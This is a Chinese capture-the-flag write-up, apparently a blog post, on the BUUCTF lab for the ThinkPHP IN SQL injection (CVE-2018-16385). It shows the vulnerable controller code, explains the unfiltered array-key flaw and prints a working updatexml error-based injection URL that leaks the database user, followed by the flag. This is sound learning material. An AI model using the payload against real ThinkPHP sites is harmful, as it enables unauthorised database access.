BUUCTF-Real-[ThinkPHP]IN SQL INJECTION

目录

漏洞描述

漏洞分析

漏洞复现

漏洞描述

漏洞发现时间: 2018-09-04

**CVE 参考:**CVE-2018-16385

**最高严重级别:**低风险

**受影响的系统:**ThinkPHP < 5.1.23

漏洞描述:

ThinkPHP是一款快速、兼容、简单的轻量级国产PHP开发矿场,解决了大部分应用开发的需求。

该漏洞与程序没有正确过滤数组的Key值,导致在public/index/index/test/index中查询字符串时出现SQL注入漏洞有关。攻击者可以利用该漏洞获取数据库中当前用户名等数据。


漏洞分析

php 复制代码
<?php
namespace app\index\controller;

class Test
{
    public function index()
    {
   		$data=array();
	 	$data['username']=array('eq','admin');
		$order=input('get.order');//使用input函数进行安全过滤
		$m=db('user')->where($data)->order($order)->find();
		dump($m);
   }
}

漏洞原因是处理order by参数时,如果参数用户是可控的,当参数为数组key value时,未正确过滤处理数组的key值,就会导致漏洞的产生。


首先定义了一个Test类,该类包含一个名为index的公共方法。在该方法中,首先创建了一个空数组data。然后,将值为\`array('eq', 'admin')\`的一维数组赋给data'username',即data数组中的一个元素。接下来,使用\`input('get.order')\`语句获取来自GET请求的\`order\`参数,并将其赋给order变量。需要注意的是,这里使用了input函数对输入数据进行了安全过滤。接下来,代码使用db('user')-\>where(data)语句查询数据库中满足data条件的数据。然后,使用order变量对查询结果进行排序,最后使用find()方法返回查询结果的第一个匹配项,并将其存储在m变量中。最后使用dump函数打印m变量的内容。


漏洞复现

php 复制代码
payload

[!] Name: ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability
    Script: thinkphp5_sqli.py
    Url: http://node5.buuoj.cn:29791/
      Vulnerable: True
      Method: GET
      Payload: http://node5.buuoj.cn:29791/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

php 复制代码
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

经过poc验证,此版本的thinkphp存在sql注入漏洞!




flag{1ffdbdc4-020e-4d98-bb49-ccabed232769}

ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌 (leavesongs.com)https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

具体漏洞分析!

相关推荐
郑洁文6 小时前
基于Python的Web命令执行漏洞自动化检测系统
前端·python·网络安全·自动化
世界尽头与你9 小时前
JavaMelody 未授权访问漏洞
网络安全·信息安全·渗透测试·dast
vortex510 小时前
Unix 通配符注入攻击:从参数污染到命令执行
网络安全·渗透测试·unix
汤愈韬11 小时前
四种 NAT 类型详解|透彻理解 NAT 穿越原理(全锥 / 受限锥 / 端口受限锥 / 对称 NAT)
网络·网络协议·安全·网络安全·security
郑洁文13 小时前
基于网络爬虫的XSS漏洞检测系统的设计与实现
网络·爬虫·网络安全·xss
菩提小狗13 小时前
每日安全情报报告 · 2026-06-02
网络安全·漏洞·cve·安全情报·每日安全
酉鬼女又兒13 小时前
零基础入门计算机网络:第一章概述全解(三种交换方式+八大性能指标+体系结构分层+十年考研真题精讲)
网络协议·计算机网络·考研·网络安全·职场和发展·计算机外设·求职招聘
云安全助手17 小时前
高防IP是什么?原理是什么?
网络安全
Whoami!18 小时前
02-【高校】校园网等保三级架构
网络安全·安全架构·拓扑
郑洁文1 天前
基于网络爬虫的Web敏感信息泄露自动化检测工具
前端·爬虫·网络安全·自动化